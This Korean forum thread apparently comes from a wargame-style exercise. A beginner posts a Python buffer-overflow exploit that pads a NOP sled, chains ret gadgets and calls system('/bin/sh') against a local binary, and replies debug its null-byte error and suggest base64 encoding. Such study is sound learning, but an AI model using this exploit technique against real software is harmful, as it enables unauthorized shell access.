파이썬 문자열오류
글쓴이: qkrwncks593 / 작성시간: 일, 2013/06/30 - 3:16오후
파이썬 초보입니다.
os.system() 메서드를 사용하는데 NULL 문자에러가 발생하네요 ;;
아래는 소스코드입니다.
from struct import pack import os import sys p = lambda x : pack("<L", x) ret = 0x08048451 # ret gadget system_addr = 0x07db0e7 i = 0 while 1: payload = "./cruel " payload += "\x90"*268 payload += p(ret)*(i+1) payload += p(system_addr) payload += " " payload += "/bin/sh" i = i+1 os.system(payload) print("NOT Exploit..")
------------------ 에러내용 ------------
File "./exploit.py", line 19, in ?
os.system(payload)
TypeError: system() argument 1 must be string without null bytes, not str
----------------------------
Forums:
스트링이 아닌걸 넣었겠죠
스트링이 아닌걸 넣었겠죠
피할 수 있을때 즐겨라! http://melotopia.net/b
범인(?)으로 추정되는 부분이 1. payload
범인(?)으로 추정되는 부분이
1. payload = "./curel "
2. payload += " "
이 두 줄입니다. 따옴표 안에 있는 부분이 공백문자로 추정됩니다.
"\x90" 가 범인일것 같은데요..
"\x90" 가 범인일것 같은데요..
http://ubuntuforums.org/archive/index.php/t-1141685.html 에 따르면,
backslash가 python에서 해석돼서 그럴수 있다는
payload += r"\x90"*268
이라고 해보시죠..
백슬래시가 문제면 백슬래시 두개를 넣어서 탈출문자로
백슬래시가 문제면 백슬래시 두개를 넣어서 탈출문자로 처리해주면 될거예요
피할 수 있을때 즐겨라! http://melotopia.net/b
> system_addr = 0x07db0e7 >
4바이트 빅엔디안 pack된 문자의 마지막 바이트가 '\x00'
즉 null byte라서 생긴 문제같습니다.
아래와 같이 payload 부분을 base64
아래와 같이 payload 부분을 base64 인코딩해서 넘긴다든지 하면 되겠네요.
물론 ./cruel 프로그램에서도 base64 디코딩하도록 수정해야겠죠.
댓글 달기